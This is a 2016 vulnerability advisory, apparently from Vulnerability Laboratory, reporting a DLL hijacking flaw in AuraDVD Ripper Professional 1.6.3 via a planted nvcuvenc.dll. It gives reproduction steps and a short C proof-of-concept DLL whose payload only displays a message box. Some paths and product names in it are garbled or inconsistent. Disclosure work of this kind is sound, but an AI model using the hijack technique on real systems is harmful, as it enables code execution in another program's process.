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AuraDVD Ripper Professional 1.6.3 DLL Hijacking

AuraDVD Ripper Professional 1.6.3 DLL Hijacking
Posted Oct 4, 2016
Authored by ZwX

AuraDVD Ripper Professional version 1.6.3 suffers from a dll hijacking vulnerability.

tags | exploit
MD5 | 71baf1c60cfc9594a2f757d510013aeb

AuraDVD Ripper Professional 1.6.3 DLL Hijacking

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Document Title:
===============
AuraDVD Ripper Professional v1.6.3 - DLL Hijacking Exploit


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1966


Release Date:
=============
2016-10-04


Vulnerability Laboratory ID (VL-ID):
====================================
1966


Common Vulnerability Scoring System:
====================================
4.3


Product & Service Introduction:
===============================
Aura DVD Ripper is the best application for ripping DVD and converting between video formats. It can brilliantly make videos for iPad,
iPod, Zune and all kinds of media players and mobile phones from DVDs and videos of a wide range of formats. It supports convert videos
or rip DVD movies for protable mobile phones. It even burns videos to standard DVD and Blu-ray disc. With the DVD ripping software,
ripping DVD movies to AVI, MP4, WMV, FLV or even Flash (SWF) is now an easy job that can be done instantly. The Aura DVD Ripper also
functions as a total video converter and YouTube video downloader.

(Copy of the Vendor Homepage: http://www.aura4you.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the official AuraDVD Ripper Professional 1.6.3 software.


Vulnerability Disclosure Timeline:
==================================
2016-10-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Aura4You
Product: Aura Video Converter - Software 1.6.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official AuraDVD Ripper Professional 1.6.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process
or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the
affected software to followup with manipulations.

Vulnerable Software:
[+] AuraDVD Ripper Professional

Vulnerable Version(s):
[+] v1.6.3

Vulnerable Libraries:
[+] nvcuvenc.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile the dll (dynamic link library)
2. Rename to nvcuvenc.dll
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura DVD Ripper ProfessionalAuraDVDConvPro.exe
4. Launch AuraVideoConv.exe
5. MessageBox Executed


-- PoC Exploit --
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking ZwX!", "DLL Message", MB_OK);
return 0;
}


Security Risk:
==============
The security risk of the dynamic link library issue in the software is estimated as medium. (CVSS 4.3)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
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Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



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